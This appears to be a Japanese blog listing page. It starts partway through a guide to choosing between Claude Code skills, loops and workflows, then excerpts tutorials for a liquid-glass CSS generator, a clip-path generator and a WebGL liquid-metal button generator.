動的間隔は、ビルド完了のようにすぐ変わりそうなものは短く、待機状態が続くものは長く、と待ち時間を自動で調整します。ポーリングの間隔を人間が考えなくて済むのが利点です。実行を止めたいときはEscで待機中のループをキャンセルできます。 ここで最重要の注意点があります。ループはセッション内だけで有効で、セッションを終了すると消えます。つまり「PCを閉じても毎晩決まった時刻に動く」ような無人運用には使えません。無人・定期実行が必要なら、後述の/schedule（クラウドで動くルーティン）が役割分担の相手になります。 ループが向いている場面は次のとおりです。 デプロイ・ビルド・CIの完了を、終わるまで定期的に確認したいとき PRやIssueの状態を、作業しながら監視しておきたいとき 同じチェックを何度も繰り返す作業を、その場で自動化したいとき /loopを含むスラッシュコマンドの全体像は、Claude Codeコマンド一覧＆実践ガイド にまとめています。 ワークフローとは｜複数エージェントの大規模オーケストレーション ワークフローとは、複数のサブエージェントをスクリプト（JavaScript）で決定論的に制御し、並列・多段で動かす仕組みです。1回のセッションでは処理しきれない大規模な作業——数百ファイルの移行、コードベース全体の監査、複数観点での横断調査など——を、まとめて捌くための道具です。 スキルやサブエージェントが「そのつどClaudeが判断して動く」のに対し、ワークフローは処理の段取り（どれを並列にし、どこで検証するか）をスクリプト側が保持します。ループ・分岐・ファンアウトといった制御を明示的に書けるため、大量のサブエージェントを安定して回せるのが強みです。バックグラウンドで非同期に走り、その間もセッションは操作できます。 起動の仕方はいくつかあります。組み込みの/deep-researchのように用意されたワークフローを呼ぶ方法、プロンプトにultracodeと添えて多エージェント処理を明示的に依頼する方法などです。なお、ワークフローは規模の大きい機能のため、利用できるプランやAPI接続の条件があります。最新の提供条件は公式ドキュメントで確認してください。 ワークフローが向いている場面は次のとおりです。逆に、単発の小さな作業にワークフローを持ち出すのは大げさで、スキルやサブエージェントで十分です。 大量のファイルやモジュールを横断して、一括で変換・移行したいとき コードベース全体を複数観点で監査し、結果をまとめたいとき 複数の独立した調査を並列で走らせ、相互検証して結論を出したいとき 3つをどう選ぶ？ 判断フロー 迷ったら、次の順番で自問すると選びやすくなります。上から順に当てはまるものを選んでください。 同じ手順を何度も使い回したい？ → はい なら スキル。手順をSKILL.mdに固めてコマンド化する。 終わるまで繰り返し様子を見たい？ → はい なら ループ。ただしセッションを開いている間だけ。 大量の対象を並列・多段で一気に処理したい？ → はい なら ワークフロー。 PCを閉じても無人で定期実行したい？ → それはループでもワークフローでもなく /schedule（ルーティン）の領域。 シナリオ別に当てはめると、次のようになります。 やりたいこと選ぶもの毎回貼っている定型指示をコマンド化したいスキルデプロイ完了まで5分おきに確認したいループ（固定間隔）CIの終了を、間隔を任せて見張りたいループ（動的間隔）500ファイルを一括で別記法へ移行したいワークフロー毎晩決まった時刻に無人でレポートを作りたい/schedule（ルーティン） サブエージェント・Hooks・MCPとの違い スキル・ループ・ワークフローの周辺には、混同しやすい機能がいくつかあります。役割がはっきり違うので、ここで整理しておきます。 機能役割スキル等との違いサブエージェント単発のサイドタスクを別コンテキストで委譲そのつどClaudeが判断して委譲。ワークフローはこれを大量に束ねたものHooksツール実行前後などのタイミングで自動発火イベント駆動の自動ガード。スキルは明示的呼び出しが基本MCP外部ツール・APIへの接続能力を増やす「接続口」。手順を束ねるスキルとは層が違う/schedule（ルーティン）クラウドでの無人・定期実行ループはセッション内、こちらはセッション外で動く とくに混同しやすいのがループと/schedule、そしてサブエージェントとワークフローです。前者は「セッション内 vs セッション外（無人）」、後者は「単発の委譲 vs スクリプトで束ねた大量委譲」で見分けます。サブエージェントやCLAUDE.mdの設計は、Claude Codeのルール・エージェント設計術 で、配属できる職種のカタログは AI社員の職種一覧 で詳しく扱っています。 手順ではなく判断基準を置くファイルとしては、DESIGN.mdが別枠にあります。スキルが「呼ばれたときに動く手順」だとすれば、DESIGN.mdは「常に効いている基準」です。役割の違いはDESIGN.mdとは｜AIにデザインの判断基準を渡す公式仕様で整理しています。 組み合わせて使う｜実践のかたち 3つは排他ではなく、組み合わせると効果的です。実際の使い方としては、次のような重ね方がよくあります。 スキル × ループ： 定型チェックをスキルにしておき、/loopでそのスキルを定期的に呼び出して監視する ワークフロー × サブエージェント： ワークフローのスクリプトから多数のサブエージェントを並列起動し、結果を集約する スキル × ワークフロー： よく使う大規模処理をワークフローとして保存し、コマンドのように再利用する まずは「小さく作って、足りなければ上の段へ」が基本です。手順の再利用ならスキル、繰り返しが要るならループ、規模が手に負えなくなったらワークフロー、という順で持ち上げていくと、過剰設計を避けられます。 実運用での使い分け例 判断軸を実際の開発作業に当てはめると、輪郭がはっきりします。どれも「自動化」ではありますが、選ぶ道具で手間と結果が変わります。筆者が日常的に振り分けている例を3つ挙げます。 リリースノートの下書き → スキル： リリースのたびに「コミットを分類して文章化して」と説明していたのをSKILL.mdにまとめ、/release-notesで呼べるようにした。手順が固定されるので、毎回の説明と品質のブレが消える。一度きりの作業ならスキル化は不要だが、繰り返すなら効果が大きい。 本番デプロイの完了待ち → ループ： デプロイ後、反映を確認するまで手動でリロードしていた作業を/loopに任せ、一定間隔でヘルスチェックさせる。 ### [CSSだけで作るスクロール追従リキッドガラス｜ライブ屈折ジェネレーターの使い方](https://codequest.work/liquid-glass-css-generator-tool/) 透過リキッドガラスCSSジェネレーターとは、backdrop-filterとSVGのfeDisplacementMapだけで、背後に表示されているコンテンツをリアルタイムに屈折させる液体ガラスのボタンやカードを作れる無料ツールです。WebGLや外部ライブラリは使いません。ページをスクロールして後ろが動けば、ガラスの歪みもそれに追従します。 See the Pen liquid-glass-css by masakazuimai (@masakazuimai) on CodePen. iOS風のリキッドガラスをCSSだけで作ろうとすると、たいていはbackdrop-filter: blur()でぼかして、縁にハイライトを足すところで止まります。ぼかしと透明感は出せても、ガラスらしさの核心である「縁で背景がぐにゃりと曲がる屈折」だけは、素のCSSでは表現できません。かといって、屈折のためにWebGLを持ち込むと、ライブラリ読み込みや背景の扱いが一気に重くなります。 この記事では、CodeQuestが公開している透過リキッドガラスCSSジェネレーターの使い方を解説します。backdrop-filterとSVGフィルタの組み合わせだけで縁の屈折を再現し、しかも背後のページをライブに歪ませる仕組み、形状や歪み・ティントの調整、そのまま貼れるHTML/CSSの出力までを、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 「スクロール追従するライブ屈折」とは何か このツールの一番の特徴は、ガラスの背後に表示されているコンテンツのピクセルを、その場で屈折させる点です。あらかじめ用意した画像を歪ませるのではなく、ガラスの真後ろにあるコンテンツ——文字でも、画像でも、グラデーション背景でも——を縁で曲げて見せます。 背景を画像として焼き込んでいないため、ページをスクロールして後ろのコンテンツが動けば、ガラス越しの歪みもリアルタイムに追従します。固定配置したガラスのボタンの下を本文が流れていくと、流れる文字が縁でゆらめいて見える、という挙動です。静止画を歪ませる方式では出せない、本物のガラスに近い質感がここから生まれます。 これを<canvas>やWebGLなしで、backdrop-filterとSVGフィルタというCSS標準の機能だけで実現しているのがポイントです。出力されるのは自己完結したHTMLとCSSのみなので、貼り付け先のフレームワークを選びません。 このツールでできること 透過リキッドガラスCSSジェネレーターは、屈折するガラスUIをコードを書かずに作ることに特化しています。主な機能は次のとおりです。 機能内容ライブ屈折背後のページのピクセルをfeDisplacementMapで縁から歪ませる。スクロールで背景が動けば歪みも追従4つの形状プリセットボタン／ピル／円／カードをワンクリックで切り替え。幅・高さ・角丸の基準値が一括で入る歪み・縁の調整歪み強度と「縁の屈折幅」を別々に調整。縁だけ曲げて中心は素通り、という配分を作れるぼかし・彩度背後のblurとsaturateでフロスト感と透明感を調整ティント・縁ハイライトガラスの色と濃度、縁の内側ハイライトと境界線の強さを個別に設定ラベルとリンクテキスト・文字色・サイズとリンク先URLを設定。クリック範囲を形状に一致させる自動フォールバック屈折非対応ブラウザでは、ぼかし＋ティント表示に自動で切り替わり崩れないコピペ出力backdrop-filterと-webkit-を併記した自己完結のHTML/CSSを出力 画像やデータをサーバーに送信せず、すべてブラウザ内で処理します。生成したコードはそのまま商用サイトでも利用できます。 使い方：3ステップでコードを作る 操作はおおきく3ステップです。難しい設定はありません。 形を選ぶ： 上部でボタン・ピル・円・カードのいずれかを選び、ベースの形を決めます。幅・高さ・角丸はあとからスライダーで微調整できます。 質感を調整する： 歪み強度・縁の屈折幅・ぼかし・彩度・ティント・縁ハイライトの各スライダーを動かし、プレビューを見ながら好みのガラスに仕上げます。背景を切り替えて、明るい背景・暗い背景それぞれでの見え方も確認できます。 コードをコピーする： 下部にHTMLとCSSが生成されるので、それぞれのコピーボタンを押して貼り付けます。リンク先URLを入れておけば、そのままクリックできるガラスのボタンになります。 プレビューの背景はスクロールできる帯になっているので、実際にスクロールさせて「背景が動くと歪みが追従するか」をその場で確かめられます。これがライブ屈折を確認する一番わかりやすい方法です。 透過リキッドガラスCSSジェネレーターを使ってみる → なぜCSSだけで屈折できるのか：backdrop-filter ＋ SVG の仕組み 結論から言うと、backdrop-filterにSVGフィルタを差し込み、その中のfeDisplacementMapで背景ピクセルをずらしているからです。素のCSSにあるblur()やsaturate()だけでは屈折はできませんが、backdrop-filterはurl(#フィルタID)でSVGフィルタを参照でき、ここに屈折を担当させます。 ツールが出力するCSSは、おおむね次のような形です。backdrop-filterの中で、ぼかし・彩度に加えてurl(#liquid-glass-filter)を呼び出しているのがわかります。 .liquid-glass { width: 140px; height: 140px; border-radius: 70px; /* blur と saturate に加えて SVG フィルタ url() で屈折を適用 */ -webkit-backdrop-filter: blur(0px) saturate(1.6) url(#liquid-glass-filter); backdrop-filter: blur(0px) saturate(1.6) url(#liquid-glass-filter); background: rgba(255, 255, 255, 0.12); /* ティント */ border: 1px solid rgba(255, 255, 255, 0.4); /* 縁の内側ハイライトと外側の影でガラスの厚みを表現 */ box-shadow: inset 0 1px 1px rgba(255, 255, 255, 0.6), inset 0 -1px 1px rgba(0, 0, 0, 0.24), 0 8px 32px rgba(0, 0, 0, 0.18); color: #ffffff; /* クリック範囲を角丸の形状に一致させる */ clip-path: inset(0 round 70px); } 屈折の本体はSVG側です。ツールは「縁だけが外向きに歪み、中心は歪まない」変位マップ画像をその場で生成し、それをfeImageで読み込んでfeDisplacementMapに渡します。feDisplacementMapは、マップ画像の赤チャンネルを横方向（X）、緑チャンネルを縦方向（Y）のずらし量として解釈し、背景ピクセルを移動させます。 <!-- 屈折用 SVG フィルタ（ページに1つでOK） --> <svg width="0" height="0" aria-hidden="true" style="position:absolute"> <filter id="liquid-glass-filter" color-interpolation-filters="sRGB" primitiveUnits="userSpaceOnUse"> <!-- ツールが自動生成した「縁だけ歪む」変位マップ（data URI が入る） --> <feImage href="data:image/png;base64,..." width="140" height="140" result="map"/> <!-- R チャンネル=X方向、G チャンネル=Y方向にずらす --> <feDisplacementMap in="SourceGraphic" in2="map" scale="75" xChannelSelector="R" yChannelSelector="G"/> </filter> </svg> 「歪み強度」のスライダーはfeDisplacementMapのscaleを、「縁の屈折幅」は変位マップ側で歪ませる帯の太さを動かしています。backdrop-filterとfeDisplacementMapの詳しい仕様は、MDNのbackdrop-filter と feDisplacementMapのリファレンス も参考になります。 調整できるパラメータ一覧 プレビューを見ながら動かせるスライダーと入力項目は次のとおりです。どれを動かすとガラスのどこが変わるかを押さえておくと、狙った質感に早くたどり着けます。 パラメータ役割効果歪み強度feDisplacementMapのscale大きいほど縁の背景が強く曲がる。上げすぎると割れて見える縁の屈折幅歪ませる縁の帯の太さ太いほど屈折が内側まで及ぶ。細いとシャープなレンズ縁になるぼかし背後のblurフロストガラス感。0なら背景がくっきり屈折、上げると曇りガラス彩度背後のsaturate上げると背景の色が濃く透けて、ガラスに透明感が出るティント色／濃度ガラス自体の色と不透明度白で曇りガラス、暗色でスモークガラス。濃度で色の強さを調整縁ハイライト内側のbox-shadow縁の内側に光のラインを入れ、ガラスの厚みと立体感を出す境界線borderの不透明度輪郭をはっきりさせる。0に近づけると縁が背景になじむ幅・高さ・角丸要素のサイズと丸み形状プリセットの基準値から自由に微調整できる 「歪み強度」と「縁の屈折幅」が分かれているのがこのツールのポイントです。強度だけ上げると縁全体が大きく動き、幅だけ広げると歪む範囲が内側に広がります。2つを組み合わせると、薄いレンズから分厚いガラスまで質感を作り分けられます。 4つの形状プリセット よく使う形は、ボタン1つで呼び出せるプリセットとして用意しています。呼び出したあとも幅・高さ・角丸をスライダーで調整できます。 プリセット基準サイズ主な用途ボタン横長・角丸18pxCTAボタン・ナビゲーションのアクションピル横長・角丸を最大丸い端の小さなボタン・タグ・トグル円正方形・完全な円アイコンボタン・アバター枠・フローティングボタンカード大きめ・角丸28pxガラスパネル・モーダル・情報カードの土台 角丸はborder-radiusとして出力され、最大まで上げると円やピル形状になります。クリック範囲もclip-path: inset(0 round ...)で同じ角丸に切り抜かれるため、丸いボタンの角の外側を押しても反応しない、といった違和感がありません。 WebGL版・手書きCSSとの使い分け CodeQuestにはリキッドガラスを扱うツールと記事が複数あります。屈折の作り方が違うので、目的に合わせて選んでください。 やりたいこと向いている方法背後のコンテンツを屈折させ、スクロールで歪みも追従させたいこのツール（backdrop-filter＋SVG）背景画像や3D的な質感で、より本格的な屈折・色収差を出したいWebGL版ジェネレーター仕組みを理解しながらCSSを手書きで実装したいPure CSSの実装解説記事 背景を焼き込んでogl（WebGL）で屈折・色収差まで作り込みたい場合は、WebGL版のLiquid Glassジェネレーター が向いています。 ### [clip-path ジェネレーターの使い方｜CSSの図形をドラッグで作ってコピー](https://codequest.work/clip-path-generator-tool/) clip-path ジェネレーターとは、CSSのclip-pathプロパティの値を、図形をドラッグするだけで作れる無料ツールです。三角形や星、吹き出しといった図形を画面上で動かしながら、そのまま貼り付けられるCSSコードを生成できます。値を手で書く必要はありません。 clip-pathは要素を好きな図形に切り抜ける強力なプロパティですが、polygon(50% 0%, 0% 100%, 100% 100%)のような座標の羅列を手で書くのは骨が折れます。1点ずらすたびにブラウザを確認して……という作業は、現実的ではありません。 この記事では、CodeQuestが公開しているclip-path ジェネレーターの使い方を解説します。多角形・円・楕円・insetの4モード、定番20形状のワンクリック呼び出し、他のツールではあまり見かけないストライプ／チェック柄のスライダー調整、-webkit-付きコードの自動出力まで、実際の操作に沿って紹介します。ブラウザだけで完結し、登録は不要です。 clip-path とは：CSSで要素を図形に切り抜くプロパティ clip-pathとは、要素の表示領域を指定した図形の内側だけに切り抜くCSSプロパティです。切り抜かれた外側は描画されず、背後の要素が透けて見えます。画像を六角形にトリミングしたり、セクションの背景を斜めに区切ったりといった表現を、画像編集ソフトを使わずCSSだけで実現できます。 値の指定には、おもに次の4つの基本図形（basic shape）を使います。 関数作れる形値の例polygon()多角形（頂点を自由に指定）polygon(50% 0%, 0% 100%, 100% 100%)circle()円circle(50% at 50% 50%)ellipse()楕円ellipse(50% 35% at 50% 50%)inset()四辺を内側に詰めた矩形（角丸可）inset(10% 10% 10% 10% round 8%) 数値はすべて要素の幅・高さに対する割合（%）で、左上が原点です。考え方はシンプルですが、複雑な図形ほど頂点が増え、手書きでの調整は急に難しくなります。各プロパティの詳細仕様はMDNのclip-pathリファレンス も参考になります。 このツールでできること clip-path ジェネレーターは、座標を一切書かずに図形を作ることに特化したツールです。主な機能は次のとおりです。 機能内容4つの図形モードpolygon（多角形）／circle（円）／ellipse（楕円）／inset（角丸矩形）を切り替えドラッグ編集多角形の頂点をマウスでつかんで移動。ダブルクリックで頂点の追加・削除正多角形スライダー3〜12角形を1本のスライダーで連続的に変化定番20形状三角形・星・吹き出し・矢印などをワンクリックで呼び出しストライプ／チェック本数・マス数をスライダーで可変。他ツールでは珍しい縞・市松模様に対応左右／上下の反転作った図形をワンクリックで反転ホバーで変化有効にするとtransitionとホバー時のコードを自動付与背景画像で確認手元の画像をアップロードして、実際の切り抜き結果をプレビュー-webkit- 自動併記clip-pathと-webkit-clip-pathを両方出力してコピー サーバーに画像やデータを送信せず、すべてブラウザ内で完結します。生成したコードはそのまま商用利用できます。 使い方：3ステップでコードを作る 操作はおおきく3ステップです。難しい設定はありません。 形を選ぶ： 上部で図形モード（多角形・円・楕円・inset）を選び、多角形なら定番形状やスライダーでベースの形を決めます。 ドラッグで調整： プレビュー上の頂点をドラッグして微調整します。多角形はプレビューのダブルクリックで頂点を追加、頂点のダブルクリックで削除できます。円・楕円・insetはスライダーで半径や四辺を調整します。 コードをコピー： 下部に生成されたclip-pathのCSSが表示されるので、コピーボタンを押して貼り付けるだけです。 背景画像をアップロードすれば、実際に切り抜きたい写真の上で形を合わせられます。アスペクト比の切り替えもできるので、配置先の要素に近い縦横比で確認すると失敗が減ります。 clip-path ジェネレーターを使ってみる → 多角形モード：ドラッグと頂点編集が主役 もっとも使うのが多角形（polygon）モードです。プレビューに表示された丸いハンドルが各頂点に対応していて、これをドラッグするとリアルタイムに形が変わり、コードも即座に更新されます。 頂点の数はあとから変えられます。プレビューの辺の近くをダブルクリックすると、その辺上に頂点が1つ追加されます。逆に頂点をダブルクリックすると削除されます（最小3点まで）。複雑な形を作りたいときは、近い形のプリセットから始めて頂点を足していくのが近道です。 「正多角形スライダー」を動かすと、三角形から十二角形まで角数が連続的に変化します。きれいな多角形が欲しいだけなら、これを動かすのが最速です。生成されるコードは次のような形になります。 .clip-path { clip-path: polygon(50% 0%, 100% 38%, 82% 100%, 18% 100%, 0% 38%); -webkit-clip-path: polygon(50% 0%, 100% 38%, 82% 100%, 18% 100%, 0% 38%); } 座標が%表記になっているため、要素のサイズが変わっても比率を保って切り抜かれます。レスポンシブでもそのまま使えるのが、この方式の利点です。 定番20形状をワンクリックで呼び出す よく使う形は、ボタン1つで呼び出せるプリセットとして用意しています。呼び出したあとも頂点をドラッグして自由に調整できます。 基本図形： 三角形・台形・平行四辺形・ひし形・五角形・ベベル 矢印・記号： 右矢印・左矢印・右ポイント・左ポイント・シェブロン・十字 装飾： 星・六芒星・バースト（トゲ）・吹き出し・フレーム パターン： 横ストライプ・縦ストライプ・チェック（市松） このうちストライプとチェック柄は、clip-path系のジェネレーターでもあまり見かけない形です。本ツールでは縞の本数や市松のマス数を専用スライダーで増減でき、1本のclip-pathで縞模様や市松模様を切り抜けます。星型の「バースト」もトゲの数をスライダーで5〜20本まで変えられるので、装飾の幅が広がります。 六角形を画像トリミングに使う具体例は、ハニカムレイアウトをCSSで実装する記事 でも実装の流れを解説しています。 円・楕円・insetモード：スライダーで角丸切り抜き 多角形以外の3モードは、頂点ではなくスライダーで形を決めます。直線の頂点では作れない、なめらかな曲線の切り抜きはこちらの担当です。 モード調整できる項目主な用途circle（円）半径・中心のX/Y円形のアイコン・アバターのトリミングellipse（楕円）横半径・縦半径・中心のX/Y横長/縦長の楕円マスクinset（矩形）上下左右の詰め幅・角丸（round）角丸の窓抜き・余白を詰めた矩形マスク とくにinset()のroundは、border-radiusに似た角丸を切り抜きに付けられます。overflow: hiddenとborder-radiusの組み合わせが使いにくい場面で、要素そのものを角丸にマスクしたいときに便利です。 -webkit-clip-path が自動で併記される理由 結論から言うと、古いブラウザでの表示崩れを防ぐためです。本ツールはclip-pathと-webkit-clip-pathを必ずセットで出力します。 clip-pathはCan I useの対応状況のとおり主要ブラウザで広くサポートされていますが、一部の古いSafariやChromeでは-webkit-プレフィックス付きでないと効かないケースがありました。両方を書いておけば、新しいブラウザはプレフィックスなしを、古いブラウザはプレフィックス付きを解釈するため、取りこぼしがありません。 .clip-path { /* 新しいブラウザはこちらを解釈 */ clip-path: circle(50% at 50% 50%); /* 古いWebKit系のための保険として併記 */ -webkit-clip-path: circle(50% at 50% 50%); } 手書きだと-webkit-側の書き換えを忘れがちですが、ツールが両方を同期して出力するので、コピーするだけで対応が済みます。 ホバーでなめらかに変化させる 「ホバーで変化」を有効にすると、transitionとホバー時のコードが追加で出力されます。マウスを乗せると切り抜きが解除されて全体が現れる、といった演出をコピペで作れます。 .clip-path { clip-path: polygon(50% 0%, 0% 100%, 100% 100%); -webkit-clip-path: polygon(50% 0%, 0% 100%, 100% 100%); transition: clip-path 0.4s ease, -webkit-clip-path 0.4s ease; } /* ホバーで全体を表示 */ .clip-path:hover { clip-path: inset(0); -webkit-clip-path: inset(0); } ここで重要なのが、多角形どうしをアニメーションさせるなら頂点の数を揃えることです。polygon()のトランジションは頂点を1対1で補間するため、頂点数が違うとなめらかに動かず、形が飛んでしまいます。本ツールならダブルクリックで頂点を足して数を合わせられます。 スクロール量に連動して切り抜きを広げる、より動的な演出はclip-pathスクロールアニメーションの実装ガイド で実装手順を解説しています。 用途別プリセットページから探す 「この形のコードがすぐ欲しい」というときは、用途別のプリセットページが便利です。各ページに実物プレビューとコピペ用のコードがまとまっています。ジェネレーター本体で一から作らなくても、目的の形に直行できます。 斜めセクション — 背景を斜めに区切る 吹き出し — しっぽ付きの吹き出し 六角形 — ハニカム・アイコン枠 矢印 — 右向き・左向きの矢印 リボン — 帯・リボン状の見出し 三角形・星・丸く切り抜き — 定番の図形 よくある失敗・注意点 clip-pathでつまずきやすいポイントを3つにまとめます。 影（box-shadow）が一緒に切れる： 切り抜くと要素に付けたbox-shadowも切り取られて見えなくなります。影を残したいときは、子要素を切り抜き、親要素にfilter: drop-shadow()を使います。 アニメーションでカクつく： 多角形どうしのトランジションは頂点数が一致していないと破綻します。アニメ前後で頂点の数を揃えてください。 古いブラウザで効かない： -webkit-clip-pathの併記を忘れているのが原因のことが多いです。本ツールは自動で併記するので、コピーしたコードをそのまま使えば回避できます。 clip-path以外のCSS切り抜きや図形表現を横断的に知りたい場合は、CSS実装テクニック集 も合わせてどうぞ。 よくある質問（FAQ） Q. clip-path ジェネレーターは無料ですか？ はい。完全無料で、登録も透かしもありません。生成したコードはそのまま商用サイトでも利用できます。画像やデータはサーバーに送信されず、すべてブラウザ内で処理されます。 Q. -webkit-clip-path は書く必要がありますか？ 古いSafariやChromeとの互換性のために併記が安全です。 ### [WebGLで作るリキッドメタルボタン｜液体金属の質感をコードなしで作る](https://codequest.work/liquid-metal-button-webgl/) リキッドメタルボタンとは、WebGLのフラグメントシェーダーで金属の反射をピクセル単位に計算し、液状の金属のように光沢が流れて見える質感を持たせたボタンUIです。CSSのグラデーションでは止まった金属しか作れませんが、シェーダーを使うと反射そのものが動く「生きた金属面」を表現できます。 メタリックなボタンを作ろうとすると、多くの人はlinear-gradientやbox-shadowを重ねます。しかし、それでは「金属っぽい色」は出せても、見る角度で反射が流れる異方性のある質感までは再現できません。本物の金属面は光源と視線の関係でハイライトが連続的に変化するため、ピクセル単位の計算が必要だからです。 この記事では、リキッドメタルボタンがなぜWebGLでしか出せない質感なのかを整理したうえで、うねり・光の角度・色といった質感の決まり方、実際の使いどころと注意点までをまとめます。GLSLやライブラリの知識がなくても、コードを書かずにブラウザ上で作れる無料ジェネレーターも紹介するので、まず仕上がりを試してから読み進められます。 リキッドメタルボタンをすぐ作る（無料ジェネレーター） 仕組みを理解する前に、まず動く実物を触るのがいちばんの近道です。リキッドメタルボタン ジェネレーターは、9種のテンプレートから選び、うねり・光の角度・速さ・色・リム・形をスライダーで調整して、その場で質感を確かめられる無料ツールです。 生成されるのは外部ライブラリ不要のHTML/CSS/JS（MITライセンス）で、WebGLの描画エンジンまで含む自己完結コードをそのままコピーして貼り付けられます。GLSLを書く必要も、npmで何かを導入する必要もありません。商用サイトでもそのまま使えます。 リキッドメタルボタンを無料ツールで作る → 以降では、このツールで触れる各パラメータが質感のどこに効くのか、そしてリキッドメタルボタンをどこに置くと効果的かを解説します。先に値の意味を知っておくと、狙った金属に最短でたどり着けます。 なぜCSSではなくWebGLなのか 結論から言うと、流動する金属の反射はCSS単体では実用的に再現できません。CSSのグラデーションは「色の帯」を静的に並べるだけで、ピクセルごとに反射方向を計算する仕組みを持たないからです。一方WebGLシェーダーは、画面の各ピクセルで色を計算できるため、反射が連続的に流れる質感を表現できます。 表現したいことCSSグラデーションWebGLシェーダー金属っぽい色得意得意連続的に流れる反射困難（帯が固定される）得意（ピクセル単位で計算）うねり・歪みのある反射ほぼ不可パラメータで調整可能視線・角度による変化不可得意導入の手軽さ非常に手軽ツールで手軽 かつてはこの質感を出すためにGLSL（シェーダー言語）を自分で書く必要があり、学習コストが障壁でした。現在は、金属反射のシェーダーがあらかじめ組み込まれたジェネレーターを使えば、値を動かすだけで同じ質感を得られます。表の右下「ツールで手軽」は、まさにこの状態を指しています。 質感を決める3要素：うねり・光の角度・速さ リキッドメタルの印象は、突き詰めると次の3つでほぼ決まります。どれも数値を上下させるだけで、ヘアライン仕上げから水銀のような粗い反射まで連続的に変化します。 うねり（rep）： 反射の縞の細かさ。上げるほど縞が細かく硬質な金属に、0にするとうねりの無いなめらかな鏡面メタルになる。質感をいちばん大きく左右する要素 光の角度（angle）： 反射が流れる向き。傾けるほど斜めに光が走り、動きの方向が変わる。横流れは落ち着いた印象、斜めは躍動感が出る 速さ（speed）： 反射が流れるアニメーションの速度。0にすると静止した金属になる。常時動かすか、止めて静かな金属にするかをここで決める 狙いどころの目安はシンプルです。落ち着いた上品な金属なら、うねりをやや細かめ＋速さを遅めに。インパクト重視なら、うねりを粗く＋速さを上げて反射を大きく流します。まずはテンプレートを起点に、この3つだけ動かして反応を確かめるのが理解の近道です。 色・形・リムでブランドに合わせる 質感の方向性が決まったら、色と形でブランドのトーンに寄せます。シルバー一辺倒ではなく、ゴールドやカラーメタルまで振れるのがWebGLメタルの強みです。 色（hue／tint）： tintを0にすると無色＝白銀のクロームに。tintを上げてhueを回すと、金・銅・青・緑などのカラーメタルになる。ブランドカラーの金属を作れる リム（rim）： 金属が見える縁（ベゼル）の太さ。中央は暗い面で覆い、縁のリムだけ金属を見せることで「金属の板」ではなく立体的なボタンに見える 形・テーマ： 長方形と丸（円）を切り替え可能。ダーク（暗い面＋淡色文字）／ライト（明るい面＋濃色文字）でサイトの配色に合わせられる 仕組みとしては、シェーダーが描く金属面の上に、CSSで暗い中央面とリムを重ねた二層構造です。ジェネレーターはこの構造を含む完成コードを出力するため、色・形・リムを変えるたびに、貼り付けるだけで動くコードが手に入ります。色の名前や配色の選び方に迷ったら、色の辞書も合わせて使うとブランドカラーを決めやすくなります。 テンプレート9種（FLAT・A〜H）の選び方 ジェネレーターには、うねり・角度・速さの組み合わせを変えた9種のテンプレート（FLAT・A〜H）が用意されています。ゼロから値を探さなくても、作りたい雰囲気に近いものをクリックして微調整するのが最短です。各テンプレートの設定と向いている用途は次のとおりです。 テンプレートうねり角度速さ向いている用途FLAT000.6うねりの無いなめらかな鏡面メタル。静かで上品な主CTAA0.401.0横方向に反射が流れる標準的なメタル。汎用的で扱いやすいB0.801.4縞が細かくヘアライン仕上げ風。やや速めで上質な印象C0.4451.0斜めに反射が流れ、動きを感じる質感。バランス型D0.8450.7斜め＋細かい縞をゆっくり。研磨された金属に近いE1.5901.2縦方向の非常に細かい縞。光沢が強くシャープで派手F0.200.5縞が最も粗く水銀のようにゆったり流れる。存在感重視G1.2451.8斜めの細かい縞を速く流す。最もダイナミックで目を引くH0.6901.0縦流れの中庸な質感。縦長レイアウトに馴染む 迷ったら、落ち着かせたいならFLATまたはD、標準的に使うならA・C、見せ場で目立たせるならE・Gが起点として扱いやすいです。テンプレート適用後に、うねりと速さだけ微調整すれば狙いに寄せられます。 ネオンボタン・リキッドガラスとの使い分け 装飾性の高いボタン表現はリキッドメタルだけではありません。狙う印象によって、光るネオン・透ける屈折ガラスと使い分けると効果的です。それぞれの質感・技術・向く場面を整理します。 表現印象主な技術向く場面リキッドメタル高級・重厚・流動する金属WebGLシェーダーブランド主CTA・プレミアム訴求ネオンボタン発光・サイバー・ポップSVGフィルタ／CSSダークUI・ゲーム・イベントリキッドガラス透明感・繊細・iOS風backdrop-filter／WebGL背景を活かす重ね面・モーダル 発光させたいならネオンボタンジェネレーター、背景を透かして屈折させたいなら透過リキッドガラスCSSジェネレーターが同じくコピペで使えます。いずれも「主役のCTAに絞って使う」点は共通で、重ねすぎると効果が薄れます。 使いどころと注意点 リキッドメタルボタンはGPUで描画されるためCPU負荷は小さい一方、各ボタンが常時アニメーションするcanvasになります。乱用するとモバイル端末でのGPU負荷とバッテリー消費が増えるため、使う場所を絞るのが鉄則です。 主役のCTAに1〜数個まで： 全ボタンを金属化すると視覚的に騒がしく、負荷も上がる。ヒーローの主CTAなど見せ場に絞る 動きを止める選択肢も持つ： 速さ（speed）を0にすれば静止した金属になる。常時動かす必要がない場面では静止メタルにすると上品で負荷も下がる prefers-reduced-motionを尊重する： 動きを抑える設定のユーザーには静止状態へ切り替える（次章のFAQ参照） ラベルは通常のDOMで重ねる： 文字はcanvas内ではなく通常のテキスト要素で置き、十分なコントラストを確保する。読み上げ・選択・SEOの面でも有利 同じWebGLでも、背景全体に屈折ガラスを敷くiOS風Liquid Glassの再現や、マウス追従のWebGL流体エフェクトとは負荷特性が異なります。表現ごとに「どこに何個置くか」を設計することが、UIモーションを破綻させないコツです。スクロール連動など他の動きと組み合わせる発想は、Webアニメーション完全ガイドも参考になります。 よくある失敗とコツ 貼り付けたコードがイメージどおりに見えないときは、ほとんどが次のいずれかです。見た目が崩れる原因と対処を押さえておくと、調整がスムーズになります。 角が四角いまま： ボタンの親要素に角丸クリップが効いていない。金属面のcanvasは矩形なので、角丸にするには親側で切り抜く必要がある。出力コードをそのまま使えば設定済み ラベルが見えない・読み上げられない： 文字を金属面の下に置いてしまっている。ラベルは金属面より前面の通常テキストとして重ねる。読み上げ・選択・SEOの面でもこれが正解 文字が背景に埋もれる： 金属面とラベルのコントラスト不足。ダーク/ライトのテーマを切り替えるか、リムや中央面の明るさに対して文字色を調整する 画面が騒がしい・重い： ボタンを片っ端から金属化している。常時動くcanvasが増えるほど負荷も視覚ノイズも増す。主役のCTAだけに絞る モバイルでカクつく： 速さ（speed）が高すぎる、または同時表示が多すぎる。静止させたい箇所は速さを0にし、数を減らすと安定する 